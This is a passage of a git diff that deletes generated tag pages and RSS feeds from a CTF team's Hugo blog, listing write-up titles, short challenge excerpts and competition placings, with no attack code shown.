b/public/tags/ndr/page/1/index.html deleted file mode 100644 index 5b2fcfa7..00000000 --- a/public/tags/ndr/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ndr/ - - - - - - diff --git a/public/tags/noobmaster-+-noobhacker/index.html b/public/tags/noobmaster-+-noobhacker/index.html deleted file mode 100644 index 2c61f8b8..00000000 --- a/public/tags/noobmaster-+-noobhacker/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - NoobMaster + NoobHacker - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

NoobMaster + NoobHacker

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/noobmaster-+-noobhacker/index.xml b/public/tags/noobmaster-+-noobhacker/index.xml deleted file mode 100644 index 5ad53be3..00000000 --- a/public/tags/noobmaster-+-noobhacker/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - NoobMaster + NoobHacker on ByteTheCookies - http://localhost:1313/tags/noobmaster-+-noobhacker/ - Recent content in NoobMaster + NoobHacker on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 06 Aug 2024 11:27:07 +0200 - - File Sharing Portal - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/filesharingportal/ - File Sharing Portal Description: Welcome to the file sharing portal! We only support tar files! -Introduction The ctf has a very simple structure: we have a form in which we are asked to insert a tar file; once the tar file has been inserted, it is unzipped and we are shown the name of files it contains; by clicking on the different files, we can read their contents. -Source The source has comments added later to allow a better understanding of the code in the writeups - - - - WaaS - http://localhost:1313/writeups/noobzctf2024/waas/ - Tue, 06 Aug 2024 11:27:07 +0200 - - http://localhost:1313/writeups/noobzctf2024/waas/ - Waas Description: Writing as a Service! -Introduction WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it. -import subprocess from base64 import b64decode as d while True: print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;) try: inp = int(input(&quot;Choice: &quot;).strip()) except: print(&quot;Invalid input!&quot;) exit(0) if inp == 1: file = input(&quot;Enter file name: &quot;). - - - - \ No newline at end of file diff --git a/public/tags/noobmaster-+-noobhacker/page/1/index.html b/public/tags/noobmaster-+-noobhacker/page/1/index.html deleted file mode 100644 index ee2c0cd7..00000000 --- a/public/tags/noobmaster-+-noobhacker/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/noobmaster-+-noobhacker/ - - - - - - diff --git a/public/tags/nosqli/index.html b/public/tags/nosqli/index.html deleted file mode 100644 index f5da4fbf..00000000 --- a/public/tags/nosqli/index.html +++ /dev/null @@ -1,289 +0,0 @@ - - - - - - - - - - - NoSQLI - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

NoSQLI

- - - -
- - -
-

2025

- -
    - -
  • - Speed - - - 03/11 - - -
  • - -
- -
-

0001

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/nosqli/index.xml b/public/tags/nosqli/index.xml deleted file mode 100644 index f5d7be19..00000000 --- a/public/tags/nosqli/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - NoSQLI on ByteTheCookies - http://localhost:1313/tags/nosqli/ - Recent content in NoSQLI on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 17:20:39 +0100 - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - Blank Login - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Mon, 01 Jan 0001 00:00:00 +0000 - - http://localhost:1313/writeups/wwfctf2025/blank-login/ - Blank Login Description: Hm, I don&rsquo;t remember, probably something about three databases. -Introduction This is the third web application I&rsquo;ve exploited. It&rsquo;s a very cool challenge, not too complex, and very fun. There&rsquo;s a not-very-easy race condition to spot. In fact, I think that&rsquo;s the most difficult part. So, let&rsquo;s start. -We have a small Flask application with about 200 lines of code, so it&rsquo;s not too bad. The first page is a login page without a register page. - - - - \ No newline at end of file diff --git a/public/tags/nosqli/page/1/index.html b/public/tags/nosqli/page/1/index.html deleted file mode 100644 index 7b33d999..00000000 --- a/public/tags/nosqli/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/nosqli/ - - - - - - diff --git a/public/tags/nosqlinjection/index.html b/public/tags/nosqlinjection/index.html deleted file mode 100644 index 5808f995..00000000 --- a/public/tags/nosqlinjection/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - NosqlInjection - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

NosqlInjection

- - - -
- - -
-

2025

- -
    - -
  • - Speed - - - 03/11 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/nosqlinjection/index.xml b/public/tags/nosqlinjection/index.xml deleted file mode 100644 index 08b5a969..00000000 --- a/public/tags/nosqlinjection/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - NosqlInjection on ByteTheCookies - http://localhost:1313/tags/nosqlinjection/ - Recent content in NosqlInjection on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 17:20:39 +0100 - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/nosqlinjection/page/1/index.html b/public/tags/nosqlinjection/page/1/index.html deleted file mode 100644 index a71115cf..00000000 --- a/public/tags/nosqlinjection/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/nosqlinjection/ - - - - - - diff --git a/public/tags/not-secure-random/index.html b/public/tags/not-secure-random/index.html deleted file mode 100644 index 6aacc113..00000000 --- a/public/tags/not-secure-random/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Not Secure Random - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Not Secure Random

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/not-secure-random/index.xml b/public/tags/not-secure-random/index.xml deleted file mode 100644 index f3d0d6d2..00000000 --- a/public/tags/not-secure-random/index.xml +++ /dev/null @@ -1,25 +0,0 @@ - - - - Not Secure Random on ByteTheCookies - http://localhost:1313/tags/not-secure-random/ - Recent content in Not Secure Random on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Jul 2025 20:33:23 +0200 - - aeronaut - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Tue, 08 Jul 2025 20:33:23 +0200 - - http://localhost:1313/writeups/cornctf2025/aeronaut/ - Aeronaut Description: &hellip; -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py $ flag: flag{redacted} Author: ... - - - - \ No newline at end of file diff --git a/public/tags/not-secure-random/page/1/index.html b/public/tags/not-secure-random/page/1/index.html deleted file mode 100644 index fc00e287..00000000 --- a/public/tags/not-secure-random/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/not-secure-random/ - - - - - - diff --git a/public/tags/null_awe/index.html b/public/tags/null_awe/index.html deleted file mode 100644 index fd38df03..00000000 --- a/public/tags/null_awe/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Null_awe - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Null_awe

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/null_awe/index.xml b/public/tags/null_awe/index.xml deleted file mode 100644 index 82dee470..00000000 --- a/public/tags/null_awe/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Null_awe on ByteTheCookies - http://localhost:1313/tags/null_awe/ - Recent content in Null_awe on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:29 +0200 - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - \ No newline at end of file diff --git a/public/tags/null_awe/page/1/index.html b/public/tags/null_awe/page/1/index.html deleted file mode 100644 index 2853aa7d..00000000 --- a/public/tags/null_awe/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/null_awe/ - - - - - - diff --git a/public/tags/octaviusss/index.html b/public/tags/octaviusss/index.html deleted file mode 100644 index f824be34..00000000 --- a/public/tags/octaviusss/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Octaviusss - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Octaviusss

- - - -
- - -
-

2025

- -
    - -
  • - Speed - - - 03/11 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/octaviusss/index.xml b/public/tags/octaviusss/index.xml deleted file mode 100644 index 220aa5f5..00000000 --- a/public/tags/octaviusss/index.xml +++ /dev/null @@ -1,22 +0,0 @@ - - - - Octaviusss on ByteTheCookies - http://localhost:1313/tags/octaviusss/ - Recent content in Octaviusss on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 11 Mar 2025 17:20:39 +0100 - - Speed - http://localhost:1313/writeups/srdnlen2025/speed/ - Tue, 11 Mar 2025 17:20:39 +0100 - - http://localhost:1313/writeups/srdnlen2025/speed/ - Speed Description: Welcome to Radiator Springs&rsquo; finest store, where every car enthusiast&rsquo;s dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! -Introduction For the second web challenge of srdnlen2025 we have a very interesting but not particularly complicated challenge. -The challenge is presented as a simple shop, so the goal is to buy the flag, which has a very high price. - - - - \ No newline at end of file diff --git a/public/tags/octaviusss/page/1/index.html b/public/tags/octaviusss/page/1/index.html deleted file mode 100644 index 88f8c4d0..00000000 --- a/public/tags/octaviusss/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/octaviusss/ - - - - - - diff --git a/public/tags/osint/index.html b/public/tags/osint/index.html deleted file mode 100644 index b1cb5dd9..00000000 --- a/public/tags/osint/index.html +++ /dev/null @@ -1,307 +0,0 @@ - - - - - - - - - - - Osint - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Osint

- - - -
- - -
-

2025

- -
- -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/osint/index.xml b/public/tags/osint/index.xml deleted file mode 100644 index 8cca0b84..00000000 --- a/public/tags/osint/index.xml +++ /dev/null @@ -1,51 +0,0 @@ - - - - Osint on ByteTheCookies - http://localhost:1313/tags/osint/ - Recent content in Osint on ByteTheCookies - Hugo -- gohugo.io - en - Thu, 17 Jul 2025 17:51:20 +0200 - - L3akCTF 2025 - http://localhost:1313/writeups/l3akctf2025/ - Thu, 17 Jul 2025 17:51:20 +0200 - - http://localhost:1313/writeups/l3akctf2025/ - L3akCTF 2025 Description Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. 10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc. -Url Discord Performance Summary CTFs: 19/65 Total points: 950 Position: 201/1587 Rating points: 1.725 Writeups Hardware Beneath the Surface - - - - PatriotCTF 2024 - http://localhost:1313/writeups/patriotctf2024/ - Fri, 27 Sep 2024 17:24:46 +0200 - - http://localhost:1313/writeups/patriotctf2024/ - Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University&rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone. -Url Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today&hellip; - - - - Lexington Informatics Tournament CTF 2024 - http://localhost:1313/writeups/litctf2024/ - Tue, 13 Aug 2024 12:20:57 +0200 - - http://localhost:1313/writeups/litctf2024/ - Lexington Informatics Tournament CTF Description Lexington Informatics Tournament CTF 2024 is a Jeopardy-style, beginner-friendly online CTF that&rsquo;s open to everyone. -Url Discord Performance Summary CTFs: 18/32 Total points: 2068 Position: 95/830 Rating points: 19.095 Writeups Web Kirbytime - - - - N00bzCTF 2024 - http://localhost:1313/writeups/n00bzctf2024/ - Mon, 05 Aug 2024 18:26:54 +0200 - - http://localhost:1313/writeups/n00bzctf2024/ - N00bz CTF 2024 Description A 48 hours CTF hosted by n00bz for n00bz. Organized with beginner friendly challenges (and some hard ones), n00bzCTF is dedicated to make cyber security more friendly and approachable for complete n00bz. -Url Discord Performance Summary CTFs: 31/32 Total points: 9794.000 Position: 24/967 Rating points: 24.067 Writeups Web File Sharing Portal Misc Waas - - - - \ No newline at end of file diff --git a/public/tags/osint/page/1/index.html b/public/tags/osint/page/1/index.html deleted file mode 100644 index a7d52927..00000000 --- a/public/tags/osint/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/osint/ - - - - - - diff --git a/public/tags/php/index.html b/public/tags/php/index.html deleted file mode 100644 index fffdf6d7..00000000 --- a/public/tags/php/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Php - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Php

- - - -
- - -
-

2024

- -
    - -
  • - Hello - - - 08/18 - - -
  • - -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/php/index.xml b/public/tags/php/index.xml deleted file mode 100644 index 93194257..00000000 --- a/public/tags/php/index.xml +++ /dev/null @@ -1,24 +0,0 @@ - - - - Php on ByteTheCookies - http://localhost:1313/tags/php/ - Recent content in Php on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:59 +0200 - - Hello - http://localhost:1313/writeups/idekctf2024/hello/ - Sun, 18 Aug 2024 12:58:59 +0200 - - http://localhost:1313/writeups/idekctf2024/hello/ - Hello Description: Just to warm you up for the next Fight :&ldquo;D -Introduction Then we have an apparently empty page, but where we can via a ?name= parameter enter some text, the page will then respond with hello, {text entered} -The with an ngix server -Moreover, ctf in general gives us the possibility of using an admin bot where the flag is set in the cookies -Source # filename: index.py &lt;? - - - - \ No newline at end of file diff --git a/public/tags/php/page/1/index.html b/public/tags/php/page/1/index.html deleted file mode 100644 index e5772ad4..00000000 --- a/public/tags/php/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/php/ - - - - - - diff --git a/public/tags/pietro-lepori/index.html b/public/tags/pietro-lepori/index.html deleted file mode 100644 index cab95d30..00000000 --- a/public/tags/pietro-lepori/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Pietro Lepori - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Pietro Lepori

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/pietro-lepori/index.xml b/public/tags/pietro-lepori/index.xml deleted file mode 100644 index 611cd53a..00000000 --- a/public/tags/pietro-lepori/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - - - Pietro Lepori on ByteTheCookies - http://localhost:1313/tags/pietro-lepori/ - Recent content in Pietro Lepori on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 24 Mar 2025 16:25:00 +0100 - - Key in the haystack - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Mon, 24 Mar 2025 16:25:00 +0100 - - http://localhost:1313/writeups/k1ndasus2025/keyinthehaystack/ - Confusion I&rsquo;ve encrypted my secret message with RSA. -Easy stuff, right? -Well, I&rsquo;m not giving you the key outright&hellip; -I&rsquo;ve hidden it in a haystack! -Sure, a key is not a needle, and this haystack is not that big. -It shouldn&rsquo;t take more than 10&rsquo; to find it, if you have an half-decent metal detector. -Good luck! -Introduction Confusion was a crypto CTF from K!nd4SUS CTF 2025. -from Crypto.Util import number from base64 import b64encode prime = lambda: number. - - - - \ No newline at end of file diff --git a/public/tags/pietro-lepori/page/1/index.html b/public/tags/pietro-lepori/page/1/index.html deleted file mode 100644 index 11f7c491..00000000 --- a/public/tags/pietro-lepori/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/pietro-lepori/ - - - - - - diff --git a/public/tags/ppc-/index.html b/public/tags/ppc-/index.html deleted file mode 100644 index dc238f65..00000000 --- a/public/tags/ppc-/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - PPC () - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

PPC ()

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/ppc-/index.xml b/public/tags/ppc-/index.xml deleted file mode 100644 index e958e1bc..00000000 --- a/public/tags/ppc-/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - PPC () on ByteTheCookies - http://localhost:1313/tags/ppc-/ - Recent content in PPC () on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:37 +0200 - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Telegram Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - \ No newline at end of file diff --git a/public/tags/ppc-/page/1/index.html b/public/tags/ppc-/page/1/index.html deleted file mode 100644 index a6fba850..00000000 --- a/public/tags/ppc-/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ppc-/ - - - - - - diff --git a/public/tags/ppc-professional-programming-and-coding/index.html b/public/tags/ppc-professional-programming-and-coding/index.html deleted file mode 100644 index 736668c1..00000000 --- a/public/tags/ppc-professional-programming-and-coding/index.html +++ /dev/null @@ -1,246 +0,0 @@ - - - - - - - - PPC (Professional Programming and Coding) - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

PPC (Professional Programming and Coding)

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/tags/ppc-professional-programming-and-coding/index.xml b/public/tags/ppc-professional-programming-and-coding/index.xml deleted file mode 100644 index 7a54fbad..00000000 --- a/public/tags/ppc-professional-programming-and-coding/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - PPC (Professional Programming and Coding) on ByteTheCookies - http://localhost:1313/tags/ppc-professional-programming-and-coding/ - Recent content in PPC (Professional Programming and Coding) on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 18 Aug 2024 12:58:37 +0200 - - IdekCTF 2024 - http://localhost:1313/writeups/idekctf2024/ - Sun, 18 Aug 2024 12:58:37 +0200 - - http://localhost:1313/writeups/idekctf2024/ - IdekCTF 2024 Description idekCTF is an information security CTF competition organized by the idek team and is aimed at the entire spectrum from high school and university students to experienced players. idekCTF will cover the standard Jeopardy-style CTF topics (binary exploitation, reverse engineering, cryptography, web exploitation, and forensics) as well as other, less standard categories. -Url Telegram Performance Summary CTFs: 6/35 Total points: 732 Position: 101/1070 Rating points: 5.405 Writeups Web Hello - - - - \ No newline at end of file diff --git a/public/tags/ppc-professional-programming-and-coding/page/1/index.html b/public/tags/ppc-professional-programming-and-coding/page/1/index.html deleted file mode 100644 index 2157edf3..00000000 --- a/public/tags/ppc-professional-programming-and-coding/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ppc-professional-programming-and-coding/ - - - - - - diff --git a/public/tags/ppc/index.html b/public/tags/ppc/index.html deleted file mode 100644 index 7f352491..00000000 --- a/public/tags/ppc/index.html +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - PPC - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

PPC

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/ppc/index.xml b/public/tags/ppc/index.xml deleted file mode 100644 index 239aa9af..00000000 --- a/public/tags/ppc/index.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - PPC on ByteTheCookies - http://localhost:1313/tags/ppc/ - Recent content in PPC on ByteTheCookies - Hugo -- gohugo.io - en - Mon, 26 Aug 2024 17:04:29 +0200 - - Miku vs. Machine - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Mon, 26 Aug 2024 17:04:29 +0200 - - http://localhost:1313/writeups/sekaictf2024/mikuvsmachine/ - Miku vs. Machine Description: Time limit is 2 seconds for this challenge. -Official resources of challenge -Introduction The goal is to distribute the hours of n singers in m shows. Each show has a number of hours equal to l (unknown) and can only change singers once. We also want that each singer will have the same time on stage. -Solution To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours. - - - - SekaiCTF 2024 - http://localhost:1313/writeups/sekaictf2024/ - Mon, 26 Aug 2024 16:58:34 +0200 - - http://localhost:1313/writeups/sekaictf2024/ - SekaiCTF 2024 Description SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side. -Url Discord Performance Summary CTFs: 3/34 Total points: 369 Position: 136/1230 Rating points: 2.721 Writeups Rev CrackMe Crypto Some trick PPC (Professional Programming &amp; Coding) Miku vs. - - - - \ No newline at end of file diff --git a/public/tags/ppc/page/1/index.html b/public/tags/ppc/page/1/index.html deleted file mode 100644 index e1dc1c0c..00000000 --- a/public/tags/ppc/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/ppc/ - - - - - - diff --git a/public/tags/prototype-pollution/index.html b/public/tags/prototype-pollution/index.html deleted file mode 100644 index 62a4ce93..00000000 --- a/public/tags/prototype-pollution/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Prototype Pollution - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Prototype Pollution

- - - -
- - -
-

2025

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/prototype-pollution/index.xml b/public/tags/prototype-pollution/index.xml deleted file mode 100644 index d164194b..00000000 --- a/public/tags/prototype-pollution/index.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - - Prototype Pollution on ByteTheCookies - http://localhost:1313/tags/prototype-pollution/ - Recent content in Prototype Pollution on ByteTheCookies - Hugo -- gohugo.io - en - Tue, 08 Apr 2025 18:05:15 +0200 - - StackBank 1 - http://localhost:1313/writeups/ulisse2025/stackbank1/ - Tue, 08 Apr 2025 18:05:15 +0200 - - http://localhost:1313/writeups/ulisse2025/stackbank1/ - ⚠️ WORKING IN PROGRESS -StackBank 1 Description: This bank🏦 will let you legally launder your dirty money, so you can live the high life in Dubai 🤑. -Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. -Introduction &hellip; -Source &hellip; -# filename: file.py &hellip; -Solution &hellip; -# filename: file.py Author: akiidjk - - - - \ No newline at end of file diff --git a/public/tags/prototype-pollution/page/1/index.html b/public/tags/prototype-pollution/page/1/index.html deleted file mode 100644 index a23af59f..00000000 --- a/public/tags/prototype-pollution/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/prototype-pollution/ - - - - - - diff --git a/public/tags/proxy-bypass/index.html b/public/tags/proxy-bypass/index.html deleted file mode 100644 index 25b49c5c..00000000 --- a/public/tags/proxy-bypass/index.html +++ /dev/null @@ -1,273 +0,0 @@ - - - - - - - - - - - Proxy Bypass - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
-
-
-

Proxy Bypass

- - - -
- - -
-

2024

- -
- - - - - -
-
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/tags/proxy-bypass/index.xml b/public/tags/proxy-bypass/index.xml deleted file mode 100644 index 16b07408..00000000 --- a/public/tags/proxy-bypass/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Proxy Bypass on ByteTheCookies - http://localhost:1313/tags/proxy-bypass/ - Recent content in Proxy Bypass on ByteTheCookies - Hugo -- gohugo.io - en - Sun, 06 Oct 2024 14:41:13 +0200 - - Loan App - http://localhost:1313/writeups/ironctf2024/loan_app/ - Sun, 06 Oct 2024 14:41:13 +0200 - - http://localhost:1313/writeups/ironctf2024/loan_app/ - Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution) -Introduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do &lsquo;request smuggling&rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend. - - - - \ No newline at end of file diff --git a/public/tags/proxy-bypass/page/1/index.html b/public/tags/proxy-bypass/page/1/index.html deleted file mode 100644 index 8456d07b..00000000 --- a/public/tags/proxy-bypass/page/1/index.html +++ /dev/null @@ -1,10 +0,0 @@ - - - - http://localhost:1313/tags/proxy-bypass/ - - - - - - diff --git a/public/tags/pwn/index.html b/public/tags/pwn/index.html deleted file mode 100644 index b0622100..00000000 --- a/public/tags/pwn/index.html +++ /dev/null @@ -1,339 